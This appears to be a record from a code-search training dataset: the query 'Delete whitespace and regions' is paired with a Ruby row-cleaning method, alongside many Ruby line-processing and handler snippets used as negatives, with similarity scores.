"def process_token(tokenline)\n \n begin\n camelcased = tokenline.token.to_s.capitalize.gsub(/_\\w/){|w| w[1].capitalize}\n tokenklass = Token.const_get \"#{camelcased}Token\"\n instance_exec(tokenklass, tokenline.content, &(tokenklass.handler))\n rescue Exception => error\n raise NoTokenHandler.new(\"No Tokenhandler for: @#{tokenline.token}\nThis is no big deal. You can add your custom tokenhandler for @#{tokenline.token} by adding the following line to your included ruby-file:\n\n Token::Handler.register :#{tokenline.token} # optionally add a tokenhandler or target-area (See documentation for more infos)\n \nAfter this using '@#{tokenline.token}' in your documentation is no problem...\\n\\n\" + error.message)\n end\n end",
"def process_line(_line)\n raise NotImplementedError\n end",
"def handle_line_action()\n if line_action_handler.class == Proc\n # Custom handler\n line_action_handler.call(lpos)\n else\n # Generic default action\n cur_nonwhitespace_word_action()\n end\n end",
"def process_line(line)\n args = line.split\n cmd = args.shift\n \n catch(:command_not_found) { return process_command(cmd, args) }\n\n # no matching commands, try to process it as ruby code\n if @allow_ruby\n result = process_ruby_code(line)\n puts \" => #{result.inspect}\"\n return result\n end\n \n puts \"I don't know the word \\\"#{cmd}.\\\"\"\n end",
"def on_handled(ctx, ast)\n end",
"def handle(data)\n\t\t\t\tprocess_line(data)\n\t\t\tend",
"def process_line ln, line\r\n # convert inline processor\r\n while /\\#\\#(?<p_>[A-Z][_A-Z0-9]*)(:\\s*(?<a_>.+))?\\#\\#/ =~ line\r\n rst = conv_inline(p_, a_, ln, line)\r\n raise \"do not use '##.*##' inside your inline processor converting result\" if rst =~ /\\#\\#[A-Z][_A-Z0-9]*(:\\s*.+)?\\#\\#/\r\n line.sub!(/\\#\\#[A-Z][_A-Z0-9]*(:\\s*.+)?\\#\\#/, rst)\r\n end\r\n \r\n # create a token, with processor name\r\n token = self.tokenize(ln, line)\r\n # based on the the token indent level, close token stack if any\r\n self.close_stack token.indent_level\r\n \r\n # add token and then close it unless it opens a block\r\n @token_stack << token\r\n self.close_stack token.indent_level unless token.block_open?\r\n\r\n self # for methods chain\r\n end",
"def process( chain, context )\n if @log.debug? && match( context )\n args = context.args.map { |i| i.inspect } .join( ', ' )\n @log.debug \"#{context.sym}( #{args} )\"\n\n begin\n result = chain.process_next( context )\n rescue Exception => e\n @log.debug \"#{context.sym} raised #{e.message.inspect} (#{e.class})\"\n raise\n end\n\n @log.debug \"#{context.sym} => #{result.inspect}\"\n return result\n else\n return chain.process_next( context )\n end\n end",
"def process(code)\n name = code.class.name.split(\"::\").last\n # Invoke a specific handler\n on_handler = :\"on_#{name}\"\n if respond_to? on_handler\n return send on_handler, code\n else\n raise \"No handler on_#{name}(code) #{code.inspect}\"\n end\n end",
"def process_line(line)\n if @state.include?(:data)\n process_data_line(line)\n elsif @state.include?(:auth_plain_incomplete)\n process_auth_plain_line(line)\n elsif @state.include?(:auth_login_incomplete)\n process_auth_login_line(line)\n else\n process_command_line(line)\n end\n !@state.include?(:quit) # return true unless QUIT is given\n end",
"def process_line( line )\n if line =~ /\\*#{@action}\\*/\n changed\n log = @log_class.new( line ) \n notify_observers( log )\n end\n end",
"def process(line)\n for clause in @clauses do\n if clause.match? line\n result = clause.exec line\n return result\n end\n end\n return nil\n end",
"def parse!\n set :line => @line\n @context.run_with_current(&self.class.get_parsable)\n self\n end",
"def process_line(line)\n @line = line\n if line =~ /^=/ then\n process_heading_line(line)\n elsif (listtype = special_list_line_type(line)) then\n special_list_line(listtype, line)\n elsif line =~ /^\\s*:/ then\n special_list_continuation_line(line)\n else\n @interp.normal_line(line)\n end\n end",
"def parse_line(line)\n raise Puppet::DevError, \"No record types defined; cannot parse lines\" unless records?\n\n @record_order.each do |record|\n # These are basically either text or record lines.\n method = \"handle_#{record.type}_line\"\n if respond_to?(method)\n if result = send(method, line, record)\n record.send(:post_parse, result) if record.respond_to?(:post_parse)\n return result\n end\n else\n raise Puppet::DevError,\n \"Somehow got invalid line type #{record.type}\"\n end\n end\n\n nil\n end",
"def process(context)\n request = context.request\n\n router = @processor_map[request.request_method.downcase.to_sym]\n return 404 unless router\n begin\n processor, params = router.routing(request.path)\n rescue FancyServer::PathRouter::NoRouteMatched\n return 404\n rescue FancyServer::PathRouter::DestinationDuplicated => ex\n return {:status => 503, :body => ex.message}\n end\n return 404 unless processor\n context.params.merge!(params)\n processor.respond_to?(:to_proc) ? context.instance_eval(&processor) : processor\n end",
"def execute_handler params={},path=nil\n case @type\n when :handlers\n @handlers.each do |handler_ident|\n handler = @context_ref.handlers.fetch(handler_ident) {raise \"handler #{handler_ident} doesn't exist in context #{@context_ref.ref}\"}\n component = handler.(params,path||@url,&:call)\n Context.current_context = @context_ref.ref\n if component.class == Proc\n component.call\n else\n Context.renderer.call(component,handler_ident)\n end\n Context.current_context = :no_context\n end\n when :context\n Context.wipe\n Context.render handlers\n History.push(@context_ref.ref,\"\",[],@context_ref.ref)\n end\n end",
"def handle_text_line(line, record)\n line =~ record.match ? {:record_type => record.name, :line => line} : nil\n end",
"def process_line line\n if looks_like_json?(line)\n process_line_of_json_in_new_pipe(line)\n else\n process_line_of_tsv_in_this_pipe(line)\n end\n end",
"def process_line(line, &block)\n return enum_for(:process_line, line) unless block\n\n if @row_index < header_lines\n consume_header_line(line, @columns)\n else\n transform_line(line, @row_index, &block)\n end\n\n @row_index += 1\n\n # We've now seen enough lines to have consumed a valid header; is this the case?\n fail_unless_header_complete(@columns) if @row_index == header_lines\n\n @notifier.try(:processed, @row_index)\n end",
"def at_line(context, _file, _line)\n resume_pry(context)\n end",
"def process_raw(raw, line_number)\n raw\n end",
"def process(line)\n parts = line.chomp.split(/\\t/)\n keys = line_key(parts)\n keys.each do |k|\n yield [k, *parts]\n end\n end",
"def handle(body)\n process(:one, body)\n end",
"def process(node)\n return if node.nil?\n\n @_on_handler_cache ||= {}\n type = node.type\n\n on_handler = @_on_handler_cache[type] ||= begin\n handler = :\"on_#{type}\"\n handler = :handler_missing unless respond_to?(handler)\n handler\n end\n\n send(on_handler, node) || node\n end",
"def process(ast_node, context)\n handler = \"on_#{ast_node.type}\"\n\n return send(handler, ast_node, context)\n end",
"def parse_context; end",
"def parse_context; end",
"def process_command_line\n return @process_command_line\n end",
"def context_at_location(position)\n lines = text.split(\"\\n\")\n line = lines[position.line]\n return [] if line.nil? || line.strip.length.zero?\n\n LineContext.for(line, position.character)\n end",
"def process_client(c)\n Thread.current[:client] = c\n Thread.current[:info] = {\n :port => client.peeraddr[1],\n :host => client.peeraddr[2],\n :addr => client.peeraddr[3],\n }\n info[:uri] = [info[:host], info[:port]].join(':')\n logger.debug \"Processing client from #{info[:uri]}\"\n while line = client.gets\n line = line.chomp.strip\n logger.info \"Dispatching command (#{info[:uri]}): #{line}\"\n @handlers.each do |handler|\n if handler = handler.new(self).match(line.chomp.strip)\n handler.call\n next\n end\n end\n end\n end",
"def process_line(line, index, block_opened)\n @index = index + 1\n @block_opened = block_opened\n\n case line[0]\n when DIV_CLASS, DIV_ID\n render_div(line)\n when ELEMENT\n render_tag(line)\n when COMMENT\n render_comment(line)\n when SCRIPT\n sub_line = line[1..-1]\n if sub_line[0] == SCRIPT\n push_script(sub_line[1..-1].strip.dump.gsub('\\\\#', '#'), false)\n else\n push_script(sub_line, false)\n end\n when FLAT_SCRIPT\n warn(FLAT_WARNING) unless defined?(Test::Unit)\n push_flat_script(line[1..-1])\n when SILENT_SCRIPT\n sub_line = line[1..-1]\n unless sub_line[0] == SILENT_COMMENT\n mbk = mid_block_keyword?(line)\n push_silent(sub_line, !mbk)\n if (@block_opened && !mbk) || line[1..-1].split(' ', 2)[0] == \"case\"\n push_and_tabulate([:script])\n end\n end\n when FILTER\n name = line[1..-1].downcase\n start_filtered(options[:filters][name] || name)\n when DOCTYPE\n if line[0...3] == '!!!'\n render_doctype(line)\n else\n push_plain line\n end\n when ESCAPE\n push_plain line[1..-1]\n else\n push_plain line\n end\n end",
"def extract_context\n if File.readable?( @file ) then\n file_lines = IO.readlines( @file )\n @line_index = @line_number - 1\n\n start_line = @line_index - @padding\n start_line = 0 if start_line < 0\n\n stop_line = @line_index + @padding\n stop_line = (file_lines.size - 1) if stop_line >= file_lines.size\n\n @context_index = @line_index - start_line\n @context_line_numbers = (start_line+1..stop_line+1).to_a\n @context_lines = file_lines[start_line, @context_line_numbers.size]\n end\n end",
"def receive_line(line)\n # stub\n end",
"def process_file_handle f\n begin\n line = f.readline\n rescue EOFError\n line = nil\n end\n while line\n process_line(line)\n begin\n # FIXME -- this call to File#readline blocks and doesn't let\n # stuff like SIGINT (generated from Ctrl-C on a keyboard,\n # say) take affect.\n line = f.readline\n rescue EOFError\n line = nil\n end\n end\n end",
"def process_line(line, index)\n\n # there should be a check for interpolation here, and just run a simple replace for each line\n\n if !indented?(line)\n $context = $root\n add_selector_or_property(line, index)\n # check here for @import, @font-face, and @keyframes\n else\n\n set_default_indent(line) if $default_indent.nil?\n\n if indent_level(line) == $context.indent + 1\n add_selector_or_property(line, index)\n elsif indent_level(line) < $context.indent + 1\n $context = find_context($context.parent, line)\n add_selector_or_property(line, index)\n else\n throw \"Flagrant code error! You indented line #{index} too far\"\n end\n\n end\n\nend",
"def on_process_line_unknown_event(_ctx, _line)\n # per default we encounter an error\n raise Smtpd500Exception\n end",
"def _handle(filter, handler, *args)\n result = handler.call(*args)\n @processed += 1\n result\n rescue StandardError => err\n raise ::Webby::Error, \"#{filter} filter error: #{err.message.inspect}\"\n end",
"def start(&block)\n while line = next_line\n cmd, *args = parse(line)\n cmd && !cmd.empty? ?\n # If the command is not empty - invoke the handler\n block.call(cmd, args) :\n # Empty command ends the processing loop\n break\n end\n end",
"def on_process(&block); end",
"def process(io, context = {})\n end",
"def process_line(line, index)\n method_name = template_options(line).fetch(:method_name)\n replaced_template = replace_template(template, template_options(line))\n indent_template(replaced_template, line.index('def '))\n end",
"def processed(io, context)\n process(io, context)\n end",
"def handler\n @handlers.push(proc do |msg|\n yield msg\n end)\n end",
"def process *args, &block\n yield(args)\n end",
"def process_line(line)\n\t\t\t\tline.chomp!\n\t\t\t\tl = line.split(/\\s+/)\n\t\t\t\tcmd = l[0]\n\t\t\t\t# Remember the last table for convenience when typing\n\t\t\t\ttable_id = l[1] ? l[1].to_i : last_table\n\t\t\t\tself.last_table = table_id\n\n\t\t\t\tchannel = cmd\n\n\t\t\t\tresp = nil\n\t\t\t\tbegin\n\t\t\t\t\tresp = case cmd\n\t\t\t\t\t# Check for valid commands\n\t\t\t\t\twhen 'list'\n\t\t\t\t\t\tget_games_list\n\t\t\t\t\twhen 'join'\n\t\t\t\t\t\tname = l[2]\n\t\t\t\t\t\tlobby.add_player_to_game(table_id, name, self)\n\t\t\t\t\twhen /(call|fold|raise)/\n\t\t\t\t\t\tplayer_for(table_id).line_received(cmd[0])\n\t\t\t\t\twhen 'leave'\n\t\t\t\t\t\tremove_player(table_id)\n\t\t\t\t\twhen 'quitall'\n\t\t\t\t\t\tremove_from_all_tables\n\t\t\t\t\telse\n\t\t\t\t\t\tunknown_cmd(cmd)\n\t\t\t\t\tend\n\t\t\t\trescue Exception => e\n\t\t\t\t\tchannel = 'error'\n\t\t\t\t\tresp = create_error(e)\n\t\t\t\t\tputs e.message\n\t\t\t\t\tputs e.backtrace.join(\"\\n\")\n\t\t\t\tend\n\n\t\t\t\tif resp\n\t\t\t\t\t# Write our response. The format is left to the connection class (eg. json, text)\n\t\t\t\t\twrite(resp, channel)\n\t\t\t\tend\n\t\t\tend",
"def process_block(line_buffer, test_number)\n if (@custom_processor && @custom_processor.class.method_defined?(:process_testcase))\n @custom_processor.process_testcase line_buffer\n else\n line_buffer\n end\n end",
"def input_handler\n STDIN.read.split(\"\\n\").each do |line|\n process_line(line)\n end\n end",
"def process(exp)\n return nil if exp.nil?\n\n result = nil\n\n type = exp.first\n raise \"type should be a Symbol, not: #{exp.first.inspect}\" unless\n Symbol === type\n\n in_context type do\n # now do a pass with the real processor (or generic)\n meth = @processors[type]\n if meth then\n if $DEBUG\n result = error_handler(type) do\n self.send(meth, exp)\n end\n else\n result = self.send(meth, exp)\n end\n\n else\n result = self.process_default(exp)\n end\n end\n \n raise SexpTypeError, \"Result must be a #{@expected}, was #{result.class}:#{result.inspect}\" unless @expected === result\n \n result\n end",
"def run\n handlers.each do |info, handler|\n matches = matches_options?(info[:type], info[:regexp])\n break if matches && handler.call(options)\n end\n end",
"def handle(command)\n action, context = command.split('__')\n\n handler(action).call(context) if handler_exists_for?(action)\n end",
"def line &block\n receive_line_callbacks << block\n end",
"def process_line(text, index)\n @index = index + 1\n\n case text[0]\n when DIV_CLASS; render_div(text)\n when DIV_ID\n return push_plain(text) if text[1] == ?{\n render_div(text)\n when ELEMENT; render_tag(text)\n when COMMENT; render_comment(text[1..-1].strip)\n when SANITIZE\n return push_plain(text[3..-1].strip, :escape_html => true) if text[1..2] == \"==\"\n return push_script(text[2..-1].strip, :escape_html => true) if text[1] == SCRIPT\n return push_flat_script(text[2..-1].strip, :escape_html => true) if text[1] == FLAT_SCRIPT\n return push_plain(text[1..-1].strip, :escape_html => true) if text[1] == ?\\s\n push_plain text\n when SCRIPT\n return push_plain(text[2..-1].strip) if text[1] == SCRIPT\n push_script(text[1..-1])\n when FLAT_SCRIPT; push_flat_script(text[1..-1])\n when SILENT_SCRIPT\n return start_haml_comment if text[1] == SILENT_COMMENT\n\n raise SyntaxError.new(<<END.rstrip, index) if text[1..-1].strip == \"end\"\nYou don't need to use \"- end\" in Haml. Use indentation instead:\n- if foo?\n %strong Foo!\n- else\n Not foo.\nEND\n\n push_silent(text[1..-1], true)\n newline_now\n\n # Handle stuff like - end.join(\"|\")\n @to_close_stack.last << false if text =~ /^-\\s*end\\b/ && !block_opened?\n\n case_stmt = text =~ /^-\\s*case\\b/\n keyword = mid_block_keyword?(text)\n block = block_opened? && !keyword\n\n # It's important to preserve tabulation modification for keywords\n # that involve choosing between posible blocks of code.\n if %w[else elsif when].include?(keyword)\n # @to_close_stack may not have a :script on top\n # when the preceding \"- if\" has nothing nested\n if @to_close_stack.last && @to_close_stack.last.first == :script\n @dont_indent_next_line, @dont_tab_up_next_text = @to_close_stack.last[1..2]\n else\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n end\n\n # when is unusual in that either it will be indented twice,\n # or the case won't have created its own indentation\n if keyword == \"when\"\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text, false])\n end\n elsif block || case_stmt\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n elsif block && case_stmt\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n end\n when FILTER; start_filtered(text[1..-1].downcase)\n when DOCTYPE\n return render_doctype(text) if text[0...3] == '!!!'\n return push_plain(text[3..-1].strip, :escape_html => false) if text[1..2] == \"==\"\n return push_script(text[2..-1].strip, :escape_html => false) if text[1] == SCRIPT\n return push_flat_script(text[2..-1].strip, :escape_html => false) if text[1] == FLAT_SCRIPT\n return push_plain(text[1..-1].strip, :escape_html => false) if text[1] == ?\\s\n push_plain text\n when ESCAPE; push_plain text[1..-1]\n else push_plain text\n end\n end",
"def handle_element(line)\r\n pair = line.split(':', 2) # avoid problems when summary contains ':'\r\n name = pair[0]\r\n value = pair[1]\r\n handler_method = @method_prefix + name.split(';')[0].tr('-', '_').downcase\r\n if self.respond_to? handler_method\r\n self.send(handler_method, value.chomp)\r\n end\r\n end",
"def handle_request(client, lines, requests); end",
"def run_internal(line)\n words = CompletionEngine.split(line)\n quote_type, last = words.pop\n return nil unless words.shift\n words.map! { |_type, word| word }\n prefix = \"\"\n if (match = /\\A(.*[=:])(.*)\\z/.match(last))\n prefix = match[1]\n last = match[2]\n end\n context = Completion::Context.new(\n cli: @cli, previous_words: words, fragment_prefix: prefix, fragment: last,\n params: {shell: :bash, quote_type: quote_type}\n )\n candidates = @cli.completion.call(context)\n candidates.uniq.sort.map do |candidate|\n CompletionEngine.format_candidate(candidate, quote_type)\n end\n end",
"def run_internal(line)\n words = CompletionEngine.split(line)\n quote_type, last = words.pop\n return nil unless words.shift\n words.map! { |_type, word| word }\n prefix = \"\"\n if (match = /\\A(.*[=:])(.*)\\z/.match(last))\n prefix = match[1]\n last = match[2]\n end\n context = Completion::Context.new(\n cli: @cli, previous_words: words, fragment_prefix: prefix, fragment: last,\n params: {shell: :bash, quote_type: quote_type}\n )\n candidates = @cli.completion.call(context)\n candidates.uniq.sort.map do |candidate|\n CompletionEngine.format_candidate(candidate, quote_type)\n end\n end",
"def process!(line)\n index!(get_words(clean(line)))\n end",
"def process_tx(line)\n txoverview = Modsec::Parser::parse_concurrent_log_entry(line)\n\n unless txoverview\n Modsec::logger.warn(\"Couldn't parse tx concurrent log line: '#{line}'\")\n return nil\n end\n\n txfile = @txlogdir.path + txoverview[:transaction_file]\n\n unless File.exists?(txfile)\n Modsec::logger.warn(\"Couldn't parse transaction, tx file #{txfile} didn't exist\")\n return nil\n end\n\n txlog = File.binread(txfile)\n txcontent = Modsec::Parser::parse_transaction(txlog)\n\n unless txcontent\n Modsec::logger.warn(\"Couldn't parse transaction #{txfile}\")\n return nil\n end\n\n @processed_tx_files.push(txfile)\n\n # FIXME - mod_security for nginx\n # HTTP response headers don't contain the response code?!\n txcontent.response_code = txoverview[:response_code]\n txcontent\n end",
"def on_process( &block )\n @processor = block\n end",
"def perform\n PAYLOADS.detect do |payload|\n attack = payload.prepare_for_match.detect{ |p| p =~ @line }\n prepare_log(payload.name, attack) if attack\n attack\n end\n end",
"def process(&block)\n @processor = block\n self\n end",
"def dynamic_autocomplete_context(readline_input, line_buffer=[])\n # special case indicator when user starts cc with '/' (go from root)\n goes_from_root = readline_input.start_with?('/')\n # Cloning existing active context, as all changes shouldn't be permanent, but temporary for autocomplete\n active_context_copy = @active_context.clone_me\n # Emptying context copy if it goes from root '/'\n active_context_copy.clear if goes_from_root\n # Invalid context is user leftover to be matched; i.e. 'cc /assembly/te' - 'te' is leftover\n invalid_context = \"\"\n\n # Validate and change context; skip step if user's input is empty or it is equal to '/'\n active_context_copy, error_message, invalid_context = prepare_context_change([readline_input], active_context_copy, nil, line_buffer) unless (readline_input.empty? || readline_input == \"/\")\n\n # using extended_context when we want to use autocomplete from other context\n # e.g. we are in assembly/apache context and want to create-component we will use extended context to add\n # component-templates to autocomplete\n extended_candidates, new_context, line_buffer_first = {}, nil, nil\n command_clazz = Context.get_command_class(active_context_copy.last_command_name)\n\n unless (line_buffer.empty? || line_buffer.strip().empty?)\n line_buffer = line_buffer.split(' ')\n line_buffer_last = line_buffer.last\n line_buffer_first = line_buffer.first\n line_buffer_first.gsub!('-','_') unless (line_buffer_first.nil? || line_buffer_first.empty?)\n end\n\n unless command_clazz.nil?\n extended_context = command_clazz.respond_to?(:extended_context) ? command_clazz.extended_context() : {}\n\n unless extended_context.empty?\n extended_context = extended_context[:context] || {}\n extended_context.select!{|k,v| line_buffer.include?(k.to_s)} if extended_context.respond_to?(:select!)\n\n if (extended_context[line_buffer_last] && !line_buffer_first.eql?(line_buffer_last))\n new_context = extended_context[line_buffer_last]\n elsif (extended_context[line_buffer[line_buffer.size-2]] && !line_buffer_first.eql?(extended_context[line_buffer[line_buffer.size-2]]))\n new_context = extended_context[line_buffer[line_buffer.size-2]]\n else\n new_context = extended_context[line_buffer_first.to_sym] unless line_buffer_first.nil? || line_buffer_first.empty?\n end\n\n unless new_context.nil?\n if new_context.is_a?(String)\n active_context_copy.push_new_context(new_context, new_context)\n elsif new_context.is_a?(Hash)\n context_candidates = load_extended_context_commands(new_context, active_context_copy)\n results_filter = (readline_input.match(/\\/$/) && invalid_context.empty?) ? \"\" : readline_input.split(\"/\").last\n results_filter ||= \"\"\n context_candidates = context_candidates.grep( /^#{Regexp.escape(results_filter)}/ )\n return context_candidates\n end\n end\n end\n end\n\n return get_ac_candidates(active_context_copy, readline_input, invalid_context, goes_from_root, line_buffer_first||{})\n end",
"def line_filter(line)\n entry_pattern.match(line)\n end",
"def parseLine(line)\n handle = nil\n text = nil\n match = /^\\<([^\\>]+)\\> (.*)$/.match(line)\n if (match)\n handle = match[1]\n text = match[2]\n end\n return handle, text\n end",
"def parse_line(line)\n catch :line_parsed do\n UNDERSTOOD_ROWS.each do |record_type|\n if line.start_with?(record_type)\n send \"parse_#{record_type.downcase}_line\", line.chomp\n throw :line_parsed\n end\n end\n\n if line[0].eql?('/')\n parse_comment_line line.chomp\n throw :line_parsed\n end\n\n logger.error \"Can't understand line: #{line.chomp.inspect}\"\n end\n end",
"def parse_context\n Context.new(@req[:context])\n end",
"def handle(text)\n text.gsub!(/^([ \\t#]*):(\\w+):\\s*(.+)?\\n/) do \n prefix = $1\n directive = $2.downcase\n param = $3\n\n case directive\n when \"include\"\n filename = param.split[0]\n include_file(filename, prefix)\n\n else\n yield(directive, param)\n end\n end\n end",
"def message(message)\n handler = handler_for_context\n return unless handler\n if handler.respond_to?(:call)\n instance_exec(message, &handler)\n else\n process(handler, *message['text'].split)\n end\n end",
"def handler_for(path)\n handler[ path.split('.').last ]\n end",
"def parse_line(lineno, tokens)\n #need to look in the ::TAGS hash for tags that match the level this line is on.\n #Annoyingly, Level 0 has the data and the TAG, reversed for xrefs. \n current_level = @parse_state.level\n new_level = tokens.level\n \n if current_level > new_level\n #Reduce the parse state stack until we are at the new level\n while current_level > new_level\n current_level -= 1\n @parse_state.pop\n end\n process_line(lineno, tokens) #We are now at the same level, so we process the line\n elsif current_level == new_level\n process_line(lineno, tokens) #We are already at the same level, so we just process the line\n elsif current_level < new_level\n raise \"Level increased by more than 1 (current_level = #{current_level}, new_level = #{new_level})\"\n end\n end",
"def process_line line\n\tcase line\n\n\twhen /^([a-z]+) is ([I|V|X|L|C|D|M])$/\n\t\tset_space_unit($1, $2)\n\n\twhen /^([a-z ]+)([A-Z]\\w+) is (\\d+) Credits$/\n\t\tget_metals_value($1.split, $2, $3)\n\n\twhen /^how much is ((\\w+ )+)\\?$/ # Get space_units and convert to numeral\n\t\tres = get_numeral_from_space_unit($1.split)\n\t\tputs \"#{$1}is #{res}\"\n\n\twhen /^how many Credits is ([a-z ]+)([A-Z]\\w+) \\?$/\n\t\tres = (get_numeral_from_space_unit($1.split) * @metals_values[$2]).to_i\n\t\tputs \"#{$1}#{$2} is #{res} Credits\"\n\n\telse\n\t\tputs \"I have no idea what you are talking about\"\n\tend\nend",
"def handler ( h )\n raise TypeError, h.class.to_s + ': Incorrectly types for <handler> method of <ParserState>.' unless\n\th.instance_of? Method\n \n @handler = h\n end",
"def process_line(line) # :nodoc:\n file_tasks, args = line.split(\":\", 2)\n return if args.nil?\n dependents = args.split.map { |d| respace(d) }\n file_tasks.scan(/\\S+/) do |file_task|\n file_task = respace(file_task)\n file file_task => dependents\n end\n end",
"def register_parse_handler(key, &block)\n ArgParser::OnParseHandlers[key] = block\n end",
"def processOtherMessage(line)\n #nothing to do with this message\nend",
"def scan_line(line)\n e = { orig: line }\n entry_pattern.match(line) do |m|\n e.update(extract_groups(m))\n end\n e\n end",
"def process(node)\n return if node.nil?\n return node unless node.respond_to?(:to_ast)\n\n node = node.to_ast\n\n # Invoke a specific handler\n on_handler = :\"on_#{node.type}\"\n if respond_to? on_handler\n new_node = send on_handler, node\n else\n new_node = handler_missing(node)\n end\n\n new_node if new_node\n end",
"def process\n klass.new(request).process\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def process_testcase(line_buffer)\n line_buffer\n end",
"def process_input_file \n File.open(@file, 'r') do |f|\n f.each_line do |line|\n parse_line(line)\n end\n end\n end",
"def consume_stdout(line)\n @@log.warn {\"incomplete line '#{line}' on stdout, not terminated by \\\\n\"} if line[-1] != \"\\n\"\n if /^#{LINE_START}\\s*([A-Za-z0-9_]+)\\s*#{SEPARATOR}\\s*([A-Za-z]+)\\s*#{SEPARATOR}\\s*([A-Za-z0-9_]+)\\s*#{SEPARATOR}\\s*(.*)$/.match(line) then\n #parse check id\n check = @benchmark.item_repository[$1] or process_unknown_check_id(line, $1)\n severity = RuleSeverity::parse($2)\n\n cmd_class = @@command_mapper[$3.upcase]\n\n if cmd_class.nil? then\n process_unknown_reply_command(line, check, severity, $3)\n else\n @@log.debug {\"processing command #{cmd_class.name}: #{line}\"}\n process_command(cmd_class.new(check, severity, $4.split(SEPARATOR)))\n end\n else\n process_unknown_output(line)\n end\n end",
"def at_return(context, _file, _line)\n resume_pry(context)\n end",
"def handler_executed(handler)\n end",
"def start_handler\n # we're just pretending to be a handler\n end",
"def map_processed_lines(response)\n end",
"def before_process(text_line)\n nil\n end",
"def convert_line_to_event(line, es)\n begin\n line.chomp! # remove \\n\n @parser.parse(line) { |time, record|\n if time && record\n es.add(time, record)\n identifier = record[@identifier].gsub(/\\s+/, '')\n if identifier && identifier.length > 4\n @identifier_array.push(\"#{identifier}\")\n if @identifier_array.size >= chunk_size\n batchArray = @identifier_array.join(\",\").split(\",\")\n resp = get_from_solr\n if @mongo_merge_enabled\n coll = get_from_mongo(batchArray)\n mresp = merge_mongo_and_solr(coll,resp)\n log_from_response(mresp)\n else\n log_from_response(resp)\n end\n end\n end\n else\n log.warn \"pattern not match: #{line.inspect}\"\n end\n }\n rescue => e\n log.warn line.dump, :error => e.to_s\n log.debug_backtrace(e.backtrace)\n end\n end",
"def postprocess_print(send, type, line)\n if type == \"syntaxchecksuccess\"\n return syntax_check_success(send, line)\n\n elsif type == \"syntaxcheckfail\"\n return syntax_check_fail(send, line)\n\n elsif type == \"augmentsuccess\"\n return augment_success(send, line)\n\n elsif type == \"augmentfail\"\n return augment_fail(send, line)\n\n elsif type == \"executeoutput\"\n return execute_output(send, line)\n\n elsif type == \"executeerror\"\n return execute_error(send, line)\n end\n end",
"def handler; end",
"def handler; end",
"def find_response_handler(container, req)\n handler = nil\n req.response.each_pair do |regex,h|\n Stella.ld \"HANDLER REGEX: #{regex.to_s} (#{container.status})\"\n regex = /#{regex}/ unless regex.is_a? Regexp\n handler = h and break if container.status.to_s =~ regex\n end\n handler\n end",
"def processed_input!\n unknown_handling :process\n not_researched_handling :process\n self\n end",
"def process record\n yield get(self.part, record)\n end"
] |
[
"0.6575301",
"0.6278986",
"0.60873467",
"0.5979731",
"0.5973956",
"0.59736633",
"0.59658754",
"0.5962331",
"0.5956132",
"0.5916274",
"0.5835513",
"0.5824703",
"0.5763471",
"0.57351506",
"0.56787103",
"0.55791795",
"0.55451995",
"0.552181",
"0.55182767",
"0.55119985",
"0.54861987",
"0.5484944",
"0.5456417",
"0.54480904",
"0.5407363",
"0.53910464",
"0.5387655",
"0.5377561",
"0.53710264",
"0.5357173",
"0.53558105",
"0.5325718",
"0.5325718",
"0.53080183",
"0.5297238",
"0.5285842",
"0.5285686",
"0.52536386",
"0.52305394",
"0.52021444",
"0.51864254",
"0.5178124",
"0.5177747",
"0.5174148",
"0.5164967",
"0.5155848",
"0.5146994",
"0.5138442",
"0.51249903",
"0.51109225",
"0.50952566",
"0.5087964",
"0.5067709",
"0.5065172",
"0.5061008",
"0.50568014",
"0.50546855",
"0.5052408",
"0.5039194",
"0.50157493",
"0.50143075",
"0.50143075",
"0.49996117",
"0.4988859",
"0.4976711",
"0.49766406",
"0.49673954",
"0.49550244",
"0.49541146",
"0.49291843",
"0.49236658",
"0.4919071",
"0.491626",
"0.49161384",
"0.4911483",
"0.49063423",
"0.4902067",
"0.48847812",
"0.4884545",
"0.48790187",
"0.48648965",
"0.48645246",
"0.4863214",
"0.48613665",
"0.48579192",
"0.48396972",
"0.48356646",
"0.48305136",
"0.4823768",
"0.48224574",
"0.48209694",
"0.4819097",
"0.4818989",
"0.48154432",
"0.4815087",
"0.48081917",
"0.48081917",
"0.48067722",
"0.48041025",
"0.48013732"
] |
0.67651904
|
0
|
Delete whitespace and regions
|
def clean_up_data(rows)
rows.delete_if { |row| row.any? { |value| value.length < 3 } }
# Remove headers and trailing header
rows.delete_at(0)
rows.delete_at(-1)
rows
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_leading_and_trailing_whitespace(text)\n pre_blocks = text.split(DO_NOT_TOUCH_WHITESPACE)\n\n output = []\n pre_blocks.each.with_index do |block, index|\n if index % 2 == 0\n output << block.gsub(/[ \\t]*\\n[ \\t]*/im, \"\\n\").gsub(/ *\\t */im, \"\\t\")\n else\n output << block\n end\n end\n\n output.join\n end",
"def strip_space!\n replace self.gsub(/:\\s*/, \":\").gsub(/\\n/, \"\").gsub(/\\s+/, \" \").gsub(/(\\/\\*).*?(\\*\\/)/, \"\")\n end",
"def trim_whitespace; end",
"def unindent!\n gsub!(/^[ \\t]{#{minimum_leading_whitespace}}/, '')\n end",
"def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end",
"def strip_whitespace!\n replace(self.strip_whitespace)\n end",
"def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end",
"def trim_all_whitespace(text)\n text.to_a.map do |line|\n left_spacing(line) + line.squeeze(\" \").squeeze(\" \").lstrip #the 2. is a tab\n end.join\n end",
"def clean_white_space\n @content.gsub!(/\\n{2,}/, \"\\n\")\n write_content_to_file\n end",
